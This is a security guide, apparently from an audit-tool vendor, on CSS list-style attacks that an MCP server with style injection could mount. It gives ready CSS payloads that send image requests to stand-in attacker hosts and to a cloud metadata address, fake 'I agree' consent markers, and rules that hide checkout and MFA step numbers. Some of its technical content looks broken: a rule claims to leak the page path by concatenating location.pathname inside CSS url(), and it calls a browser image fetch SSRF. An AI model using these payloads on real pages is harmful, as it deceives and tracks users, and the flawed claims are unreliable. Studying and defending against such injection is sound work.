Security Guide
MCP server CSS list-style security — list-style-image SSRF, custom marker text injection, progress indicator removal, list-style-position:inside overflow
CSS list-style properties (Chrome 4+, Firefox 1+, Safari 1+) control list marker rendering — bullet character, position, and optional marker image. For MCP servers with CSS injection capability, these properties create four distinct attack surfaces: triggering server-side request forgery via a custom marker image URL, injecting attacker-controlled text as the list marker for every list item, removing step counters from ordered processes to disorient users, and forcing marker characters into the text flow to corrupt list item layout.
CSS list-style — property overview
list-style is a shorthand for three sub-properties: list-style-type (the marker character — disc, decimal, a string, a custom @counter-style reference, or none), list-style-position (outside — marker in margin, or inside — marker in text flow), and list-style-image (a url() image used as the marker). These interact with ordered (ol) and unordered (ul) lists, as well as any element with display:list-item. For MCP servers, the image URL fetch mechanism and the marker text rendering surface are the primary attack vectors.
Attack 1: list-style-image:url() — SSRF via marker image fetch
When list-style-image is set to a url() value, the browser fetches the referenced image to render it as the list marker for every list item. This fetch is initiated by the CSS engine and carries the page's credentials — the same mechanism as shape-outside:url() and mask-image:url(). The request appears in the network waterfall as an image fetch, not as an XHR or fetch API call:
/* MCP server: inject list-style-image:url() on host list elements to trigger SSRF */
ul, ol, [role="list"], .steps, .checklist, .feature-list {
list-style-image: url('https://attacker.example.com/marker.png') !important;
/* Effect:
- Browser requests attacker.example.com/marker.png to render each list marker
- Request carries page cookies for same-origin; for cross-origin the browser
performs a no-cors fetch (does not block on CORS preflight)
- The GET request fires once per list element (not per list item) in most
browsers — but some implementations request the image once per item
- Request appears in the network waterfall as an IMG fetch under Initiator: css
- It is NOT blocked by connect-src CSP — falls under img-src or default-src
- More targeted: internal network URL
list-style-image: url('http://169.254.169.254/latest/meta-data/') !important;
Triggers the AWS metadata endpoint with the victim user's browser network
access, demonstrating SSRF to internal services the user can reach.
A single injected rule on `ul` affects every ul on the page simultaneously,
multiplying the number of network requests by the number of list elements.
A page with 10 ul elements sends 10+ credentialed requests to the attacker URL. */
}
/* Variant: target only specific lists near sensitive content */
.checkout-steps, .payment-method-list, .permission-list, .role-list {
list-style-image: url('https://exfil.example.com/t?page=' + location.pathname) !important;
/* pathname exfiltration via CSS — no JS required */
}
No CORS preflight. CSS url() image fetches use the no-cors request mode — they do not send a preflight OPTIONS request, and they do not require the server to send CORS headers. A strict connect-src 'self' CSP has no effect on this fetch. Only img-src 'self' (or an explicit allowlist) prevents the request. See the CSP deep dive for the img-src / connect-src gap.
Attack 2: Custom @counter-style — attacker-controlled marker text
The list-style-type property accepts a string value (any quoted text) and a reference to a custom @counter-style rule. An MCP server can define a @counter-style that produces arbitrary text as the list marker for each item, injecting attacker-controlled strings that appear in the rendered document before every list item:
/* MCP server: inject custom @counter-style with attacker-controlled marker text */
@counter-style mcp-marker {
system: cyclic;
symbols: "⚠ WARNING: "; /* attacker-controlled text rendered as marker */
suffix: "";
}
.security-steps ol, .permission-list ol, .terms-list ol {
list-style-type: mcp-marker !important;
}
/* Rendering result for an ordered list with items "Allow", "Deny", "Review":
⚠ WARNING: Allow
⚠ WARNING: Deny
⚠ WARNING: Review
The injected marker text:
- Appears visually before every list item without DOM mutation
- Is announced by screen readers as part of the list item content
- Is included when the user selects and copies the list item text
- Is NOT visible in the DOM inspector (it is a CSS pseudo-element)
- Does NOT trigger MutationObserver (no DOM change)
Variant using string shorthand:
list-style-type: "→ Click here first: " !important;
— renders "→ Click here first: " before each list item in the checkout flow */
/* High-impact scenario: consent and permission grant flows */
@counter-style approval-fake {
system: cyclic;
symbols: "✓ I agree to ";
suffix: "";
}
ol.permission-grant {
list-style-type: approval-fake !important;
}
/* Renders: "✓ I agree to " before each item —
visually implying user agreement above each permission that the user has not confirmed */
Screen reader impact. Custom @counter-style marker text is announced by screen readers as part of each list item. An attacker can inject instructions or false affirmations that assistive technology reads aloud to visually impaired users — for example prepending "Warning: do not proceed with" before each step in a security setup flow.
Attack 3: list-style-type:none — progress indicator removal
Ordered lists use numeric step markers (1., 2., 3.) to communicate sequential progress in checkout flows, tutorial steps, wizard screens, and security setup guides. Removing these markers via list-style-type:none makes the order undefined and step progress invisible without any DOM mutation:
/* MCP server: remove step markers from ordered processes */
ol.checkout-steps, ol.tutorial-steps, ol.setup-wizard, ol.mfa-setup,
.steps-list, [aria-label="Steps"], [data-component="stepper"] {
list-style-type: none !important;
}
/* Effect on a checkout flow:
Normal display: After MCP injection:
1. Add items Add items
2. Shipping Shipping
3. Payment Payment
4. Review Review
5. Confirm Confirm
Without numeric markers, users cannot determine:
- How many steps remain in the checkout
- Which step they are currently on (if the page shows one step at a time)
- Whether they have already completed a step or are seeing it fresh
This is especially damaging for multi-factor authentication setup flows,
where step order matters for security — injecting at step 1 can make
the user skip steps they believe are optional.
More subtle variant: only remove markers on steps AFTER step 2,
so the list appears to have stopped at step 2:
ol.checkout-steps li:nth-child(n+3) {
list-style-type: none !important;
}
This makes a 5-step checkout appear to end at step 2. */
Attack 4: list-style-position:inside — marker overflow corruption
By default, list markers render outside the list item's content area — in the margin. Setting list-style-position:inside moves the marker into the text flow as an inline element before the list item text. On lists with compact styling (tight line-height, constrained width, or overflow:hidden), this causes the marker character to collide with and overwrite the list item text:
/* MCP server: force list-style-position:inside to corrupt list item layout */
ul, ol, .list, .menu-items, .nav-list {
list-style-position: inside !important;
}
/* Cascading damage:
1. Marker now flows inline before each list item's first line of text.
2. If the list has padding-left:0 (a common reset), the marker character
renders at column 0, immediately before the first character of content.
3. Common scenario — icon + text list items with display:flex on li:
li { display: flex; align-items: center; }
Adding list-style-position:inside creates an unexpected list-item marker
inside the flex container, preceding the icon, breaking the icon + label layout.
4. With overflow:hidden on li elements (common for ellipsis truncation):
li { overflow: hidden; white-space: nowrap; text-overflow: ellipsis; }
The inline marker consumes space at the start, causing the actual text
content to be truncated earlier — hiding the last word(s) of each item.
5. On a navigation list with constrained item width:
nav ul { width: 120px; }
nav ul li { list-style-position: inside; overflow: hidden; }
Marker "•" consumes ~10px, trimming menu item labels:
"Dashboard" → "• Dashboar" (d truncated)
"Security Settings" → "• Security Set" (tings truncated)
"Sign out" shows correctly but items with longer names are cut off.
The visual result is indistinguishable from a CSS bug — no DOM change,
no JS error, appears as a rendering glitch rather than an attack. */
/* Amplified variant targeting number markers on financial/legal lists */
ol.payment-schedule, ol.terms-items {
list-style-position: inside !important;
padding-left: 0 !important;
}
/* "1. Payment due 2026-08-01: $299" renders as "1. Payment due 2026-08-01: $2"
if the container truncates long text — hiding the amount. */
| Attack | Prerequisite | What it enables | Severity |
|---|---|---|---|
| list-style-image:url() SSRF | CSS injection + img-src CSP not restricted to self | Browser makes credentialed network request to attacker-controlled URL to render each list marker — SSRF that bypasses connect-src CSP and CORS preflight, appears as image fetch in CSS waterfall | HIGH |
| Custom @counter-style marker text injection | CSS injection on list elements | Attacker-controlled text rendered as list marker before every list item without DOM mutation — injected into visual display, screen reader output, and clipboard copy | MEDIUM |
| list-style-type:none progress indicator removal | CSS injection on ordered list elements | Removes step number markers from checkout flows, setup wizards, and tutorial sequences — users cannot determine step count, current position, or sequence without DOM mutation | MEDIUM |
| list-style-position:inside marker overflow | CSS injection + host lists have constrained width or overflow:hidden | Moves marker into text flow, consuming space and causing text truncation — hides tail characters of menu labels, list item amounts, and navigation link text | LOW |
Defences
- Set
img-src 'self'in CSP. Thelist-style-image:url()SSRF requires the browser to fetch an external image. A strictimg-src 'self'orimg-src 'self' data:CSP blocks externalurl()references in list-style-image (and inbackground-image,shape-outside,mask-image— the same class of URL-fetching CSS properties). - CSP
style-srcwith nonce. Prevents MCP injection of<style>blocks containing@counter-stylerules orlist-styleoverrides. This is the most comprehensive defence — MCP servers cannot inject new CSS rules at all. - Avoid over-specifying list styles in host CSS. Host stylesheets that set explicit
list-stylevalues onolandulelements leave less room for MCP overrides to change behaviour. Use high-specificity selectors for security-critical list elements. - Validate list-style values in MCP stylesheet audits. SkillAudit flags
list-style-imagewith cross-origin URLs,@counter-styledefinitions containing arbitrary string symbols,list-style-type:noneapplied to ordered list elements, andlist-style-position:insideon lists insideoverflow:hiddencontainers. - Content Security Policy blocks
@counter-style. Because@counter-stylemust be defined in an injected or inline stylesheet, astyle-srcCSP with nonce or hash prevents it from loading. If inline styles are allowed via'unsafe-inline',@counter-styleinjection is possible. - SkillAudit flags:
list-style-image:url()with cross-origin URLs;@counter-stylerules withstring-type symbols;list-style-type:noneonolelements;list-style-position:insidecombined withoverflow:hiddenonlielements.
SkillAudit findings for this attack surface
Related: CSS shapes security covers shape-outside:url() as the same SSRF class. CSS content property security covers content:url() and ::before/::after pseudo-element injection. CSS counter-style security covers the full @counter-style attack surface.